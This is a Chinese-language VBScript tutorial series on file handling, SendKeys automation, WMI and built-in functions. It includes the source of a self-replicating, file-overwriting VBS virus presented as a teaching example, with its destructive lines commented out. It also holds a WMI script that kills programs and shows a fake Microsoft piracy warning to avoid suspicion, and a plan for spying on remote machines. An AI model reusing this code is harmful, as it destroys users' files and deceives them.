拷贝: set fs=wscript.createobject(“scripting.filesystemobject”)
fs.copyfolder “c:\data” “d:\data”
注意:如果c:\data 和d:\data都存在,脚本会出错,复制也就会停止,如果要强制覆盖,使用fs.copyfolder “c:\data” “d:\data”,true
移动: set fs=wscript.createobject(“scripting.filesystemobject”)
fs.movefolder “c:\data” “d:\data”
我们可以使用通配符,来方便操作:
例如, fs.movefolder :c:\data\te*” , “d:\working”
注意:在目的路径最后没有使用“\” 也就是说我没有这样写:
fs.movefolder c:\data\te*” , “d:\working\”
这样写的话,如果d:\working 目录不存在,windows就不会为我们自动创建这个目录。
注意:上面我们所举的例子都是在利用fso提供的方法,如果使用folder对象也完全是可以的:
set fs= wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfolder(“c:\data”)
f.delete //删除文件夹c:\data。如果有子目录,也会被删除
f.copy “d:\working”,true //拷贝到d:\working
f.move “d:\temp” //移动到d:\temp
3、特殊文件夹
一般指的就是系统文件夹:\windows\system32, 临时文件夹,windows文件夹,在前几篇的时候,我们提过一下:例如
set fs=wscript.createobject(“scripting.filesystemobject”)
set wshshell=wscript.createobject(“wscript.shell”)
osdir=wshshell.expandenvironmentstrings(“%systemroot%”)
set f =fs.getfolder(osdir)
wscript.echo f
当然,还有简单的方法 那就是使用getspecialfolder()
这个方法使用3种值:
0 表示windows文件夹,相关常量是windowsfolder
1 系统文件夹,相关常量是systemfolder
2 临时目录,相关常量temporaryfolder
例如:
set fs=wscript.createobject(“scripting.filesystemobject”)
set wfolder=fs.getspecialfolder(0) ‘返回windows目录
set wfolder=fs.getspecialfolder(1) ‘返回system32\
set wfolder=fs.getspecialfolder(2)'返回临时目录
Vbs脚本编程简明教程之九——1
妙用SendKeys简化重复操作1
每次开机的时候,你想自动登陆你的QQ或者博客吗?巧妙使用VBS中的SendKeys命令(这个命令的作用就是模拟键盘操作,将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行),可以极大的方便我们的常用操作。其使用格式为:
Object.SendKeys string其中:
Object:为WshShell对象,即脚本的第一行为:
Set WshShell=WScript.CreateObject(“WScript.Shell”)
将Object替换为WshShell
“string”:表示要发送的按键指令字符串,需要放在英文双引号中。它包含如下内容:
1.基本键:一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母“x”,使用“WshShell.SendKeys “x””即可。当然,也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可,例如,要发送按键“cfan”,可以使用
“WshShell.SendKeys “cfan””。
2.特殊功能键:对于需要与Shift、Ctrl、Alt三个控制键组合的按键,SendKeys使用特殊字符来表示:Shift —— +;Ctrl —— ^;Alt —— %
如要发送的组合按键是同时按下Ctrl+E,需要用“WshShell.SendKeys “^e””表示,如果要发送的组合按键是按住Ctrl键的同时按下E与C两个键,这时应使用小括号把字母键括起来,书写格式为“WshShell.SendKeys “^(ec)””,这里要注意它与“WshShell.SendKeys “^ec””的区别,后者表示组合按键是同时按住Ctrl和E键,然后松开Ctrl键,单独按下“C”字母键。
由于“+”、“^”这些字符用来表示特殊的控制按键了,如何表示这些按键呢?只要用大括号括住这些字符即可。例如,要发送加号“+”,可使用“WshShell.SendKeys “{+}””。另外对于一些不会生成字符的控制功能按键,也同样需要使用大括号括起来按键的名称,例如要发送回车键,需要用“WshShell.SendKeys “{ENTER}””表示,发送向下的方向键用
“WshShell.SendKeys “{DOWN}””表示。
如果需要发送多个重复的单字母按键,不必重复输入该字母,SendKeys允许使用简化格式进行描述,使用格式为“{按键 数字}”。例如要发送10个字母“x”,则输入“WshShell.SendKeys “{x 10}””即可。
例一:WshShell.SendKeys “^{ESC}u”
代码的含义为:按下Ctrl+Esc组合键(相当于按Win键)打开“开始”菜单,接着按U键打开“关机”菜单。
例二:让VBS脚本自动在记事本中输入一行文字“hello, welcome to cfan”。
Dim WshShell
Set WshShell=WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 2
//本行的含义为是脚本暂停2秒,给notepad一个打开的时间,有时时间太短可能导致后面的字符无法进入编辑区
WshShell.AppActivate "无标题 - 记事本
"//AppActivate为寻找可执行程序的标题框,”无标题-记事本”内容你的自己打开看一下
WshShell.SendKeys “hello, welcome to cfan”
作业1:让脚本自动输入下面两段小短句
This is the most wonderful day of my life
because I’m here with you now
作业2:让脚本在输入短句后自动关闭记事本,并保存文件名为“test”,注意关闭记事本可以直接使用组合按键Alt+F4来实现。
Vbs脚本编程简明教程之九——2
妙用SendKeys简化重复操作2
例三:制作能自动定时存盘的记事本
我们最常用的记事本没有Word、WPS那样的自动定时存盘功能,其实利用VBS脚本再加上SendKeys命令,就能弥补这个遗憾。打开记事本,输入以下内容(为容易描述和分析,把代码分为四个部分):
'第一部分:定义变量和对象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=300000
Set WshShell=WScript.CreateObject(“WScript.Shell”)
TXTFileName=InputBox(“请输入你要创建的文件名(不能用中文和纯数字):”)
'第二部分:打开并激活记事本
WshShell.Run “notepad”
WScript.Sleep 200
WshShell.AppActivate “无标题 - 记事本”
'第三部分:用输入的文件名存盘
WshShell.SendKeys “^s”
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys “%s”
WScript.Sleep AutoSaveTime
'第四部分:自动定时存盘
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys “^s”
WScript.Sleep AutoSaveTime
Wend
WScript.Quit
将其保存为记事本.vbs,以后要使用记事本时,都通过双击这个脚本文件来打开。
程序说明:这个脚本的基本思路是定时向记事本发送Ctrl+S这个存盘组合键。
第一部分:定义了脚本中需要用到的变量和对象。“AutoSaveTime”变量用来设置自动存盘间隔,单位为毫秒,这里设置为5分钟。“TXTFileName”变量通过输入框取得你要创建的文本文件名称。
第二部分:运行记事本,对于Windows本身提供的程序,比如计算器等,可直接在“WshShell.Run”后输入程序名称,如"calc",对于非系统程序,则可输入完全路径,但要注意使用8.3格式输入,比如““D:\Progra~1\Tencent\QQ.exe””。
第三部分:这里用SendKeys命令执行了这样的操作流程(请注意每个操作之间延时命令的使用):在记事本中按Ctrl+S组合键→弹出保存文件的窗口→输入文件名→按Alt+S组合键进行保存(默认保存在“我的文档”目录)。
第四部分:定时存盘的关键,通过“While……Wend”这个当条件为“真”时循环命令,实现自动存盘代码“WshShell.SendKeys “^s””和定时代码“WScript.Sleep AutoSaveTime”的重复执行。因为不能让这个定时存盘循环一直执行,退出记事本后,必须自动退出脚本并结束循环,所以设计了一个循环判断条件“WshShell.AppActivate TXTFileName=True”,当记事本运行中时,可以激活记事本窗口,这个条件运行结果为“True”,定时存盘循环一直执行,退出记事本后,脚本无法激活记事本窗口,就会跳出循环,执行“Wend”后面的“WScript.Quit”退出脚本。
例四:快速登陆QQ软件。假设QQ号码是:10001,密码是:123456,隐身登陆:
set ws=wscript.createobject(“wscript.shell”)
ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0 wscript.Sleep 2000 ws.AppActivate "QQ用户登录" ws.SendKeys "7015247" wscript.Sleep 200 ws.SendKeys "{TAB}" ws.SendKeys "*********" wscript.Sleep 200
ws.SendKeys “{ENTER}”
例五:关机菜单立刻显身
打开记事本,输入以下命令,并将其保存为1.vbs:
set WshShell = CreateObject(“WScript.Shell”)
WshShell.SendKeys “^{ESC}u”
双击运行它,你会发现关机菜单立刻出现了。
将“WshShell.SendKeys “^{ESC}u””改为“WshShell.SendKeys “^+{ESC}””,运行一下看看是否打开了任务管理器
Vbs脚本编程简明教程之九——3
妙用SendKeys自动上网并登陆博客3
将下面的脚本复制到一个文本文件中,并将其文件名命名为:自动登陆.vbs,然后将拨号软件及本脚本一起复制到程序——启动项中,就可以实现自动拨号上网,并登陆到博客上。
代码如下:
Set wshshell=CreateObject(“wscript.shell”)
wshshell.AppActivate “连接 MAE-301U 拨号连接”
wscript.Sleep 20000
wshshell.SendKeys “{enter}”
wshshell.Run “iexplore”
WScript.Sleep 2000
wshshell.AppActivate “hao123网址之家—实用网址,搜索大全,尽在http://www.hao123.com/ - Microsoft Internet Explorer” '引号中的内容修改为你的浏览器打开后标题栏中的内容
wshshell.SendKeys “%d”
wshshell.SendKeys “http://passport.baidu.com/?login”
wshshell.SendKeys “{enter}”
WScript.Sleep 2000
wshshell.SendKeys “此处修改为博客帐号”
wshshell.SendKeys “{tab}”
wshshell.SendKeys “此处修改为博客密码”
wshshell.SendKeys “{enter}”
'wshshell.SendKeys “%d”
Vbs脚本常用的编辑器当然是notapad,不过这个编辑器的功能当然实在是太弱了一点,其实有很多的专用的脚本编辑器可以大大方便vbs脚本的编写。我常用的有两种:
1、VBSEDit汉化版
2、primalscript汉化版,可以对30多种脚本进行编辑
Vbs脚本编程简明教程之十一
FSO中文件的基本操作
一、文件属性:
在windows中,文件的属性一般用数字来表示:
0代表normal,即普通文件未设置任何属性。 1代表只读文件。
2代表隐藏文件。 4代表系统文件。 16代表文件夹或目录。
32代表存档文件。 1024代表链接或快捷方式。例如:
set fs=wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfile(“d:\index.txt”)
msgbox f.Attributes ‘attributes函数的作用是显示文件属性
需要说明的是:msgbox显示的结果往往不是上面说明的数字,而是有关属性代表数字的和
二、创建文件:object.createtextfile方法,注意创建前一般需要检查文件是否存在。
例如:set fso=wscript.createobject(“scripting.filesystemobject”)
if fso.fileexists(“c:\kk.txt”) then
msgbox “文件已存在”
else
set f=fso.createtextfile(“c:\kk.txt”)
end if
如需要强制覆盖已存在的文件,则在文件名后加true参数。
三、复制、移动、删除文件:使用copyfile方法、movefile方法、deletefile方法。例如:
set fso=wscript.createobject(“scripting.filesystemobject”)
fso.copyfile “c:\kk.txt”,”d:\1\kk.txt”,true //如上文说述,true代表强制覆盖
fso.movefile “c:\kk.txt”, “d:\” //移动文件
fso.deletefile “c:\kk.txt” //删除文件
四、文件的读写:
1、打开文件:使用opentextfile方法
如:set ts=fso.opentextfile(“c:\kk.txt”,1,true)
说明:第二个参数为访问模式1为只读、2写入、8为追加
第三个参数指定如文件不存在则创建。
2、读取文件:read(x)读x个字符;readline读一行;readall全部读取
如:set ffile=fso.opentextfile(“c:\kk.txt”,1,true)
value=ffile.read(20)
line=ffile.readline
contents=ffile.readall
3、常见的指针变量:
atendofstream属性:当处于文件结尾的时候这个属性返回true。一般用循环检测是否到达文件末尾。例如:
do while ffile.atendofstream<>true
ffile.read(10)
loop
atendofline属性:如果已经到了行末尾,这个属性返回true。
Column属性(当前字符位置的列号)和line属性(文件当前行号):在打开一个文件后,行和列指针都被设置为1。
4、在文件中跳行:skip(x) 跳过x个字符;skipline 跳过一行
5、在文件中写入字符:可以用2-写入和8-追加的方式来写入
其方法有:write(x)写入x字符串;writeline(x)写入x代表的一行
writeblanklines(n) 写入n个空行
注意:最后一定要使用close方法关闭文件,读文件后一定要关闭,才能以写的方式打开。
Vbs脚本编程简明教程之十二
使用系统对话框
在VBS脚本设计中,如果能使用windows提供的系统对话框,可以简化脚本的使用难度,使脚本人性化许多,很少有人使用,但VBS并非不能实现这样的功能,方法当然还是利用COM对象。
1、SAFRCFileDlg.FileSave对象:属性有:FileName — 指定默认文件名;FileType — 指定文件扩展名;OpenFileSaveDlg — 显示文件保存框体方法。
2、SAFRCFileDlg.FileOpen 对象:FileName — 默认文件名属性;OpenFileOpenDlg — 显示打开文件框体方法。
3、UserAccounts.CommonDialog对象:Filter — 扩展名属性(“vbs File|.vbs|All Files|.*”);
FilterIndex — 指定
InitialDir — 指定默认的文件夹
FileName — 指定的文件名
Flags — 对话框的类型
Showopen方法:
很简单,ok,让我们来举两个简单的例子:
例一:保存文件
Set objDialog = CreateObject(“SAFRCFileDlg.FileSave”)
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
objDialog.FileName = “test”
objDialog.FileType = “.txt”
intReturn = objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End If
注意:1、SAFRCFileDlg.FileSave对象仅仅是提供了一个方便用户选择的界面,本身并没有保存文件的功能,保存文件还需要使用FSO对象来完成。2、用FileType属性来指定默认的文件类型。3、在调用OpenFileSaveDlg方法时,最好把返回值保存到一变量中,用它可以判断用户按下的是确定还是取消。
例二:.打开文件
set objFile = CreateObject(“SAFRCFileDlg.FileOpen”)
intRet = objFile.OpenFileOpenDlg
if intret then
msgbox “文件打开成功!文件名为:” & objFile.filename
else
wscript.quit
end if
例三:比较复杂的打开文件对话框
Set objDialog = CreateObject(“UserAccounts.CommonDialog”)
objDialog.Filter = “vbs File|*.vbs”
objDialog.InitialDir = “c:”
tfile=objDialog.ShowOpen
if tfile then
strLoadFile = objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if
说明:在脚本中加入 objDialog.Flags = &H020 看看会出现什么结果
Vbs脚本编程简明教程之十三——1
WMI基础之一
WMI即Windows 管理规范,是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。
一、WMI的起源
几年前,几家资深的计算机公司由于系统管理领域缺少标准,委托DMTF启动了CIM(通用信息模型)项目,理想的CIM是一种不受限制于任何特定实现环境的管理工具。WMI是CIM的微软实现,它有很多类是从CIM中派生出来的。
二、WMI的命名空间
那么命名空间是做什么作用的呢?我简单这样说,在同一段代码中,如果有两个变量或函数的名字完全相同,就会出现冲突。命名空间就是为解决变量、函数的命名冲突而服务的。解决的办法就是将你的变量定义在一个不同名字的命名空间中。就好像财政局有个张三,公安局也有个张三,但我们清楚,就是因为他们分属不同的单位。有些地方可能不太准确,但大致意思就是这样了。
WMI的命名空间创建了一个层次结构,有点类似于我们的目录文件结构。
1、 root-作为所有其他名字的占位符;
2、 root\default-与注册表操作有关的类;
3、 root\security-与系统安全有关的类;
4、 root\cimv2-从CIM派生的类,代表我们最常用的工作环境。
三、WMI的对象路径
WMI的对象路径用来在CIM库中定位类和它的事例,对象路径用两个反斜杠\开头,第一个元素是目标计算机的名字,第二个元素是相应的WMI命名空间,第三个元素是相应的类名,并用 : 将它与命名空间分隔开来。例如:\…\root\cimv2:win32_service
其中那个 . 代表是本地系统。
四、WMI的查询语言——WQL仅仅是ANSI SQL的一个子集,只能用于数据的提取。
数据、事件查询的基本语法为:
Select pro1 , pro2 , pro3 from myclass(myclassevent)
例如:Select name , path from Win32_share 说明:列出所有共享的名称和路径
也可以使用通配符 * ,例如:Select * from Win32_share
关键字Where 用于限定查询的范围。
例如:Select * from Win32_share where name=”Admin”
五、WMI脚本中使用的三个步骤
步骤 1:连接到 WMI 服务
在任何 WMI 脚本中,第一个步骤都是建立一个到目标计算机上的 Windows 管理服务的连接。方法是调用 VBScript 的 Getobject 函数并将 WMI 脚本库的名字对象的名称(即“winmgmts:”,后跟目标计算机的名称)传递到 Getobject,并返回一个对象的引用,此时,您就可以调用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由资源的类名标识的托管资源的所有实例。
步骤 2:检索 WMI 托管资源的实例
一般采用WQL来实现。
步骤 3:显示 WMI 托管资源的属性
最后一个步骤是枚举 检索得到集合的内容。一般采用
For each enum in myclass
……
Next 结构来实现。
六、WMI 测试器 (wbemtest.exe)验证脚本执行结果
现在,您对可用于浏览和查看 CIM 的工具已经有了一些认识,让我们使用 WMI 测试器 (wbemtest.exe) 来检查 Win32_Process 类定义,以便从在您的本地计算机上运行的进程检索一些属性。
1.打开一个命令提示,键入 C:>wbemtest.exe,按下 Enter 来开始 WMI 测试器工具。请注意,大部分按钮在主 WMI 测试器窗口上是被禁用的,这说明此时您没有连接到 WMI。
2.单击 “连接”按钮 连接到本地或远程计算机上的 WMI 服务。显示“连接”对话框,它提供一个标记为 名称空间 的文本输入区域,该区域默认值为 root\default。将 名称空间 区域的值更改为 root\cimv2,单击“连接”对话框的 连接 按钮返回到主 WMI 测试器窗口。
3.主窗口中左上角的命名空间标识符应该显示为 root\cimv2。请注意,所有的按钮现在都已启用,这说明在当前凭据环境下,您已经成功连接到本地主机上的 WMI。单击 枚举类别 打开“超类信息”对话框。
4.在“超类信息”对话框中,不要填写 输入超类别名称 区域,单击 递归 选项,单击 确定 以枚举 root\cimv2 名称空间中定义的所有 CIM 类。
请注意,列于“查询结果”对话框顶部的类是以两个下划线为开头的。这些是系统类。系统类是预定义的 CIM 类,支持内部 WMI 配置与操作,例如提供程序注册、命名空间安全性及事件通知等。现在,忽略系统类,向下滚动“查询结果”对话框直至看到以 CIM_ 开头的类。名称以 CIM_ 开头的类是由 DMTF 维护的核心与公共基类。继续向下滚动直至到达以 Win32_ 开头的类。 名称以 Win32_ 开头的类是 Microsoft 扩展类,表示 Windows 特定的托管资源。如果这是您第一次检查 root\cimv2 命名空间,您可能希望熟悉root\cimv2 命名空间中的类的完整集合,尤其是有 Win32_ 前缀的类。
5.向下滚动“查询结果”对话框直至到达 Win32_Process 类,双击该类名打开 Win32_Process 对话框的对象编辑器。
6.“对象编辑器”对话框显示被选定类的定义和实现的详细信息(属性和方法)。选择 Hide System Properties 复选框隐藏系统属性。剩余的 Win32_Process 属性表示您可以从在本地或远程计算机上运行的进程检索的信息。
运行如下代码:
strComputer = “.”
Set wbemServices = Getobject(“winmgmts:\” & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf(“Win32_Process”)
For Each wbemObject In wbemObjectSet
WScript.Echo "Name: " & wbemObject.Name & vbCrLf & _ " Handle: " & wbemObject.Handle & vbCrLf & _ " Process ID: " & wbemObject.ProcessID
Next
7.在运行脚本之后,您可以用 WIMI 测试器验证脚本的结果。在 Win32_Process 对话框的对象编辑器中,单击 Instances。产生的查询结果对话框列出在计算机上运行的进程的实例。双击一个指定的进程实例,查看该实例的详细信息。
Vbs脚本编程简明教程之十三——2
WMI基础之二—阻止客人运行你不想运行的程序
很多人都有这样的经验,刚刚装好的系统,让人运行了一些你不想他运行的程序,比如说QQ,又是聊天,又是下载表情,不过一会,流氓插件、病毒、木马已经盘踞了你的计算机,常常是忍痛将这个程序卸载,可是不知情的人很自觉的下载安装,使整个系统无法正常运行。
其实用vbs和wmi结合起来,使你的计算机上有相应的程序安装,别人又无法运行起来太容易了,现在给出代码:
On Error Resume Next '忽略所有的错误
Dim bag,pipe,honker,good
Do
good="." '定义为本地计算机
set bag=getobject(“winmgmts:\”& good &"\root\cimv2") 'l连接到cimv2命名空间
set pipe=bag.execquery(“select * from win32_process where name=‘qq.exe’ or name=‘qqgame.exe’ or name=‘winmine.exe’”) '看,这是我的计算机上不允许运行的程序,qq、qqgame、winmine(扫雷)如果你还有其他的程序不允许运行,很简单,在其中添加 or name=‘你不允许运行的程序名’
for each i in pipe
i.terminate()
msgbox “发现盗版系统,现已进行功能限制!” & vbcrlf & “请使用正版软件!”,“微软提示” '此行其实可有可无,有这行只是为了免去怀疑
next
wscript.sleep 60000 '每1分钟检测一次
loop
那么如果我自己想运行这些程序该怎么办呢,很简单,Ctrl+Alt+Del三个键齐按,打开windows任务管理器,在进程中结束Wscript.exe和wmiprvse.exe进程的运行就可以了
Vbs脚本编程简明教程之十四
使用dictionary对象
VBS中存在一个特殊的对象-dictionnary,是一个集合对象。一般情况霞,我把这个特殊的集合想象为数组,可以使用其中内建的函数完成存储和操纵数据等基本任务,无须担心数据是在哪些行列,而是使用唯一的键进行访问或者是一个只能运行在内存中的数据库,并只有两个字段分别是:key和item,在使用中,字段key是索引字段。
set sdict=CreateObject(“Scripting.Dictionary”)
sdict.add “a”,“apple”
sdict.add “b”,“banana”
sdict.add “c”,“copy”
for each key in sdict.keys
msgbox “键名” & key & “是” & " = " & sdict (key)
next
sdict.removeall
这个脚本很简单,就是定义了一个 dictionary 对象的实例sdict,并加入了三条数据,然后对每一条数据进行了枚举,最后,将对象的实例清空。
Dictionary 对象的成员概要
属性和说明
CompareMode 设定或返回键的字符串比较模式
Count 只读。返回 Dictionary 里的键/条目对的数量
Item(key) 设定或返回指定的键的条目值
Key(key) 设定键值
方法和说明
Add(key,item) 增加键/条目对到 Dictionary
Exists(key) 如果指定的键存在,返回 True,否则返回 False
Items() 返回一个包含 Dictionary 对象中所有条目的数组
Keys() 返回一个包含 Dictionary 对象中所有键的数组
Remove(key) 删除一个指定的键/条目对
RemoveAll() 删除全部键/条目对
Vbs脚本编程简明教程之十五——1
VBS内置函数之一
Abs 函数:返回数的绝对值。
Array 函数:返回含有数组的变体。
Asc 函数:返回字符串首字母的 ANSI 字符码。
Atn 函数:返回数值的反正切。
CBool 函数:返回已被转换为 Boolean 子类型的变体的表达式。
CByte 函数:返回已被转换为字节子类型的变体的表达式。
CCur 函数:返回已被转换为货币子类型的变体的表达式。
CDate 函数:返回已被转换为日期子类型的变体的表达式。
CDbl 函数:返回已被转换为双精度子类型的变体的表达式。
Chr 函数:返回与指定的 ANSI 字符码相关的字符。
CInt 函数:返回已被转换为整形子类型的变体的表达式。
CLng 函数;返回已被转换为Long子类型的变体的表达式。
Cos 函数:返回角度的余弦。
CreateObject 函数:创建并返回对“自动”对象的引用。
CSng 函数:返回已被转换为单精度子类型的变体的表达式。
CStr 函数:返回已被转换为字符串子类型的变体的表达式。
Date 函数:返回当前系统日期。
DateAdd 函数:返回的日期已经加上了指定的时间间隔。
DateDiff 函数:返回两个日期之间的间隔。
DatePart 函数:返回给定日期的指定部分。
DateSerial 函数:返回指定年月日的日期子类型的变体。
Datevalue 函数:返回日期子类型的变体。
Day 函数:返回日期,取值范围为 1 至 31。
Eval 函数:计算表达式并返回结果。
Exp 函数:返回 e (自然对数的底) 的多少次方。
Filter 函数:根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。
Fix 函数:返回数的整数部分。
FormatCurrency 函数:返回的表达式为货币值格式,其货币符号采用系统控制面板中定义的。
FormatDateTime 函数:返回的表达式为日期和时间格式。
FormatNumber 函数:返回的表达式为数字格式。
FormatPercent 函数:返回的表达式为百分数(乘以 100)格式,后面有 % 符号。
GetObject 函数:返回从文件对“自动”对象的引用。
GetRef 函数:返回对能够绑定到一事件的过程的引用。
Hex 函数:返回一字符串,代表一个数的十六进制值。
Hour 函数:返回表示钟点的数字,取值范围为 0 至 23。
InputBox 函数:在对话框中显式一提示,等待用户输入文本或单击按钮,并返回文本框的内容。
InStr 函数:返回一个字符串在另一个字符串中首次出现的位置。
InStrRev 函数;返回一个字符串在另一个字符串中出现的位置,但是从字符串的尾部算起。
VBS内置函数之二
Int 函数:返回数的整数部分。
IsArray 函数:返回 Boolean 值,反映变量是否为数组。
IsDate 函数:返回 Boolean 值,反映表达式能否转换为日期。
IsEmpty 函数:返回 Boolean 值,反映变量是否已被初始化。
IsNull 函数:返回 Boolean 值,反映表达式是否含有无效数据(Null)。
IsNumeric 函数:返回 Boolean 值,反映表达式能否转换为数字。
IsObject 函数:返回 Boolean 值,反映表达式是否引用了有效的“自动”对象。
Join 函数:返回通过连接许多含有数组的子串而创建的字符串。
LBound 函数;返回指定维数数组的最小有效下标。
LCase 函数:返回的字符串已被转换为小写字母。
Left 函数:返回字符串最左边的指定数量的字符。
Len 函数:返回字符串中的字符数或存储变量所需的字节数。
LoadPicture 函数:返回图片对象。只用于 32 位平台。
Log 函数:返回数的自然对数。
LTrim 函数;返回去掉前导空格的字符串。
Mid 函数:从字符串中返回指定数量的字符。
Minute 函数:返回分钟数,取值范围为 0 至 59。
Month 函数:返回表示月份的数,取值范围为 1 至 12。
MonthName 函数:返回表示月份的字符串。
MsgBox 函数:在对话框中显示消息,等待用户单击按钮,并返回表示用户所击按钮的数值。
Now 函数:返回计算机的当前系统日期和时间。
Oct 函数:返回表示该数八进制数值的字符串。
Replace 函数:返回一字符串,其中指定的子串已被另一个子串替换了规定的次数。
RGB 函数:返回代表 RGB 颜色值的数字。
Right 函数:返回字符串最右边的指定数量的字符。
Rnd 函数:返回随机数。
Round 函数:返回指定位数、四舍五入的数。
RTrim 函数:返回去掉尾部空格的字符串副本。
ScriptEngine 函数:返回反映使用中的脚本语言的字符串。
ScriptEngineBuildVersion 函数:返回使用中的脚本引擎的编译版本号。
ScriptEngineMajorVersion 函数:返回使用中的脚本引擎的主版本号。
ScriptEngineMinorVersion 函数:返回使用中的脚本引擎的次版本号。
Second 函数:返回秒数,取值范围为 0 至 59。
VBS内置函数之三
Sgn 函数:返回反映数的符号的整数。
Sin 函数:返回角度的正弦值。
Space 函数:返回由指定数量的空格组成的字符串。
Split 函数:返回下限为 0 的、由指定数量的子串组成的一维数组。
Sqr 函数:返回数的平方根。
StrComp 函数:返回反映字符串比较结果的数值。
String 函数:返回指定长度的重复字符串。
StrReverse 函数:返回一字符串,其中字符的顺序与指定的字符串中的顺序相反。
Tan 函数:返回角度的正切值。
Time 函数:返回表示当前系统时间的“日期”子类型的“变体”。
Timer 函数:返回时经子夜 12:00 AM 后的秒数。
TimeSerial 函数:返回含有指定时分秒时间的日期子类型的变体。
Timevalue 函数:返回含有时间的日期子类型的变体。
Trim 函数:返回去掉前导空格或尾部空格的字符串副本。
TypeName 函数:返回一字符串,它提供了关于变量的变体子类型信息。
UBound 函数:返回指定维数数组的最大有效下标。
UCase 函数:返回的字符串已经被转换为大写字母。
VarType 函数:返回标识变体子类型的数值。
Weekday 函数:返回表示星期几的数值。
WeekdayName 函数:返回表示星期几的字符串。
Year 函数:返回表示年份的数值。
vbs病毒的简单例子源代码解析
说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。
dim folder,fso,foldername,f,d,dc
set fso=createobject(“scripting.filesystemobject”)
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口,显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext=“mp5” then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
’ ap.write vbscopy '覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & “.vbs”) '创建另外一个病毒文件
’ file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub
Vbs脚本编程简明教程补充读物-初窥WMI
今天,我将给大家介绍个朋友,它就是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理规范。从Windows 2000开始,WMI(Windows 管理规范)就内置于操作系统中,并且成为了Windows系统管理的重要组成部分。所以大家很容易就能见到它的,因为我们至少也应该是个Windows 2000的使用者了。下面我将详细介绍它的每个细节,让你从不认识它到喜欢上它。
WMI能做什么?
WMI不仅可以获取想要的计算机数据,而且还可以用于远程控制。远程控制计算机可是大家都喜欢的东西。很多远程监视控制类软件通常的做法是:在远程计算机上运行服务端后台程序,在本地计算机上运行一个客户器端控制程序,通过这二个程序的勾结来实现对计算机的远程控制。这种作法的缺点是十分明显的,当服务端程序关了,这种远程监控就无法实现了,因为没有内线了。而WMI实现的远程监视和控制完全不需要另外装什么服务端的东西,系统默认就将WMI服务给开了。具体说来,WMI的本领如下:
1.获取本地和远程计算机的硬件软件信息。
2.监视本地和远程计算机的软件和服务等运行状况。
3.控制本地和远程计算机的软件和服务运行。
4.高级应用。
如何访问WMI?
当我们知道WMI的某些本领后,我们已经很想知道如何认识他并利用他了。利用WMI有许多途径,简单说来有三种了:
1.通过微软给我们提供的各种工具来实现普通查询和操作。主要包括命令提示符下面的WMIC,还有就是微软给我们提供的WMI TOOL,大家可以到微软的网站上免费下载,当然我也可以给大家免费提供。
2.通过自己编写脚本来实现更灵活操作。要想真正灵活实用,对WSH脚本的熟悉是必须的,当然如果你不熟悉也没有关系,稍后我会给大家详细解释的。
- 通过编写我们自己的程序来访问并操作它。什么语言都行。如果用.NET类程序要简单些了,如果用VC等要复杂些了,起码我是这么认为的。
4.还有个访问它的方法,就是到它的一个巢穴。在C:\WINDOWS\system32\wbem目录中的东西都和它有密切联系,有日志和各种工具,在里面你可以找到很多答案的。不过这些东西一般都不适合我们新手玩了,感觉有点吓人。
我们今天的任务?
今天我们的任务有五个:
任务一:利用WMIC列出远程计算机上的所有进程。
任务二:利用WMIC关闭本地进程。
任务三:通过WMIC把远程主机的进程信息保存在一个网页中
任务四:利用脚本实时监视对方进程
任务五:利用脚本给对方开放共享
查看和监视进程,还要把进程给杀掉,最后还要给对方开个共享,我们这位朋友快把坏事做尽了。明白了我们的任务,我们就可以上路了。这次我们将主要借助WMIC和脚本来实现我们的任务,所以我们将主要分为两大部分来讲解。在五个任务的实战中我们将更加深入地理解它,没有基础没有关系,我将尽力去解释所有的所谓的基础,让大家能很轻松地和这位朋友交流。
第一部分:利用WMIC来认识WMI
WMIC是Windows Management Instrumentation Commandline的简称,WMIC扩展WMI,提供了从命令行接口和批命令脚本执行系统管理的支持。为WMI名称空间提供了一个强大的、友好的命令行接口。有了WMIC,WMI就显的平易近人了。
